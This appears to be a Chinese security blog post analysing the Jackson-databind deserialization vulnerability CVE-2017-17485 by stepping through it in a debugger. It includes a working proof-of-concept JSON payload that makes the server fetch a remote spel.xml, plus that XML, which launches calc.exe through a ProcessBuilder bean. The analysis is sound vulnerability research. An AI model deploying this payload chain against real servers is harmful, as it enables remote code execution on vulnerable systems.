Fork me on GitHub

Java反序列化之Jackson-databind(CVE-2017-17485)

这个洞的cve编号:CVE-2017-17485,漏洞环境就如第一个链接那样,jdk需要在jdk 1.8以上。
先看一下Jackson-databind的用法,说白了就是将json转换成对象。
test-legit.json代码如下

{"id":123}

运行结果如图:
Alt text
如果注入的json代码如下代码,就会引入FileSystemXmlApplicationContext这个类,去下载spel.xml:

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

spel.xml配置如下:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="calc.exe" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

下断点调试一下,F7跟进readValue函数。
Alt text
在readValue函数就是反序列化json,一直f8以后,在getBean下断点后,读取了id是pb的bean,也就是getBean执行完成后操作导致命令执行了(具体的例子可以看第一个链接)。
Alt text
进行表达式评估。
Alt text
返回构造函数。
Alt text
对#{ pb.start() }进行spel操作
Alt text
当解析完pb.start操作后就会命令执行
调用栈如下图:
Alt text

说一下为什么引入FileSystemXmlApplicationContext类就能操纵spel
先找到FileSystemXmlApplicationContext这个类
Alt text
通过IntelliJ IDEA的Show Diagram Popup这个功能来观察类和接口的继承关系
Alt text
双击BeanFactory接口,这个接口有getBean方法
Alt text
实际调用geBean方法的则是在AbstractBeanFactory类中
Alt text
还有一个jakson CVE-2017-7525的洞有时间在跟一下。
可以参考这几篇文章:http://xxlegend.com/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
参考链接:
https://chenergy1991.github.io/2017/12/25/CVE-2017-7275/
http://pirogue.org/2018/01/12/jackson-databind-rce/
https://github.com/irsl/jackson-rce-via-spel

posted @ 2018-12-31 20:58  Afant1  阅读(6992)  评论(0编辑  收藏  举报